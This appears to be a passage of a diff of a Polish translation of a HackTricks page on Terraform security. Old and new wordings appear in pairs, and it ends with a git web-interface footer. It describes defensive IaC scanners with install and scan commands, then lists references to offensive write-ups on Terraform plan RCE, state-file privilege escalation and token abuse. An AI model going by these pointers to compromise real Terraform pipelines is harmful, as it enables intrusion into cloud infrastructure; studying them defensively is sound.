Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
|
||||
Skanuje infrastrukturę chmurową provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) i wykrywa problemy z bezpieczeństwem oraz niezgodności z wymaganiami compliance za pomocą skanowania opartego na grafie.
|
||||
|
||||
Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
|
||||
Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanem pakietów open source i obrazów w poszukiwaniu Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
|
||||
Z [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekki framework testowy skoncentrowany na bezpieczeństwie i zgodności dla terraform, umożliwiający przeprowadzanie testów negatywnych dla twojej infrastruktury jako kodu.
|
||||
|
||||
- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
|
||||
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
|
||||
- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
|
||||
- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
|
||||
- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
|
||||
- **podział obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
|
||||
- **compliance:** Zapewnia, że zaimplementowany kod przestrzega standardów bezpieczeństwa oraz twoich własnych, niestandardowych standardów
|
||||
- **behaviour driven development:** Mamy BDD prawie do wszystkiego, dlaczego nie dla IaC?
|
||||
- **portable:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** waliduje twój kod przed jego wdrożeniem
|
||||
- **easy to integrate:** może uruchamiać się w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
|
||||
- **segregation of duty:** możesz przechowywać swoje testy w innym repozytorium, za które odpowiada odrębny zespół.
|
||||
|
||||
> [!NOTE]
|
||||
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
|
||||
> Niestety, jeśli kod używa providerów, do których nie masz dostępu, nie będziesz w stanie wykonać `terraform plan` i uruchomić tego narzędzia.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -322,57 +348,70 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne.
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Sprawdza błędy konfiguracyjne we wszystkich głównych (i niektórych mniejszych) dostawcach chmury
|
||||
- ☁️ Sprawdza błędy konfiguracji u wszystkich głównych (i niektórych mniejszych) dostawców chmury
|
||||
- ⛔ Setki wbudowanych reguł
|
||||
- 🪆 Skanuje moduły (lokalne i zdalne)
|
||||
- ➕ Ocenia wyrażenia HCL oraz wartości dosłowne
|
||||
- ↪️ Ocenia funkcje Terraform, np. `concat()`
|
||||
- 🔗 Ocenia relacje między zasobami Terraform
|
||||
- ➕ Oceni wyrażenia HCL oraz wartości literalne
|
||||
- ↪️ Oceni funkcje Terraform, np. `concat()`
|
||||
- 🔗 Oceni zależności między zasobami Terraform
|
||||
- 🧰 Kompatybilny z Terraform CDK
|
||||
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
|
||||
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
|
||||
- 🙅 Stosuje (i rozszerza) zdefiniowane przez użytkownika polityki Rego
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Konfigurowalny (poprzez flagi CLI i/lub plik konfiguracyjny)
|
||||
- ⚡ Bardzo szybki — potrafi skanować ogromne repozytoria w krótkim czasie
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan umożliwia:
|
||||
|
||||
- Bezproblemowe skanowanie Infrastructure as Code pod kątem nieprawidłowych konfiguracji.
|
||||
- Monitorowanie udostępnionej infrastruktury w chmurze pod kątem zmian konfiguracji wprowadzających odchylenia stanu zabezpieczeń (posture drift) oraz umożliwienie przywrócenia bezpiecznego stanu.
|
||||
- Wykrywanie podatności i naruszeń zgodności.
|
||||
- Redukcję ryzyka przed wdrożeniem natywnej infrastruktury w chmurze.
|
||||
- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
|
||||
Znajdź luki w zabezpieczeniach, problemy ze zgodnością i nieprawidłowe konfiguracje infrastruktury na wczesnym etapie cyklu rozwoju infrastruktury jako kodu za pomocą **KICS** od Checkmarx.
|
||||
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest open source i jest niezbędny dla każdego projektu cloud native.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
|
||||
Z [**docs**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:
|
||||
|
||||
- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
|
||||
- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian w konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
|
||||
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
|
||||
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
|
||||
- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
|
||||
- Bezproblemowe skanowanie Infrastructure as Code w poszukiwaniu nieprawidłowych konfiguracji.
|
||||
- Monitorowanie provisioned cloud infrastructure pod kątem zmian konfiguracji powodujących posture drift oraz możliwość przywrócenia bezpiecznego stanu.
|
||||
- Wykrywanie podatności bezpieczeństwa i naruszeń zgodności.
|
||||
- Łagodzenie ryzyka przed provisioning cloud native infrastructure.
|
||||
- Zapewnia elastyczność uruchamiania lokalnie lub integracji z CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud – nadużycie tokena zamieniające speculative plan w remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Uprawnienia Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [Konfiguracja providera AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
- [GCP provider – Korzystanie z Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Zmienne wrażliwe](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: zagrożenia platform automatyzacji Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user